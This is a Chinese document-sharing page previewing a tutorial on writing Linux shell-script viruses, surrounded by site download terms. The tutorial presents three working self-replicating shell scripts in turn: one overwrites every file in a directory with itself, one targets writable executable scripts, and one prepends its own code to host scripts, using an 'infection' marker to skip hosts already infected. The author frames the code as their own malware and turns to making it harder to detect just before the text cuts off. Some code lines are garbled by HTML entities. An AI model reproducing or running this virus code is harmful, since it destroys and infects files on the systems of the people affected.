感染linux脚本程序技术.docVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
感染linux脚本程序技术.doc

  感染linux脚本程序技术~教育资源库   主要的shell病毒技术   -------------------    当然,本文需要你至少了解linux shell编程的基础知识和一星点的病毒知识.    ok!我们进入正题!    我们来看一个最原始的shell病毒,代码最能说明问题: -------------------------------------------------------- #shellvirus I for file in * do   cp $0 $file done ---------------------------------------------------------  简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的操作系统,它的文件是具有   保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以   为该脚本做个判断,这样隐蔽性就大大增强了: --------------------------------------------------------- #shellvirus II for file in * do   if test -f $file   then    if test -x $file    then    if test -mm     then     cp $0 $file fi; fi; fi; fi; fi done rm .mmm -f ---------------------------------------------------------  ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序   如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.if grep -s echo $filegt;/.mmm   这句也可以这样写:if file $file | grep -s #39;Bourne shell script#39; gt; /dev/nul ; then,也就是判断file是否为shell   脚本程序.    但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简   单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错:),看看下面代码: --------------------------------------------------------- #infection head -n 24 $0 gt; .test    lt;-取自身保存到.test for file in *      lt;-遍历文件系统 do   if test -f $file    lt;-判断是否为文件   then     if test -x $file    lt;-判断文件是否可执行     then       if test -mm  lt;-判断是否为脚本程序        then         head -n 1 $file gt;.mm    lt;-提取要感染的脚本程序的第一行         if grep -s infection .mm gt;.mmm  lt;-判断该文件是否已经被感染         then          rm -f .mm      lt;-已经被感染,则跳过         else        lt;-还未被感染          cat $file gt; .SAVEE    lt;-很熟悉吧?借用了传统的二进制文件的感染机制          cat .test gt; $file          cat .SAVEE gt;gt; $file   fi; fi; fi; fi; fi done rm .test .SAVEE .mmm .mm -f --------------------------------------------------------  程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过   危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来.   ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码: ---------------

文档评论(0)

ggkkppp + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档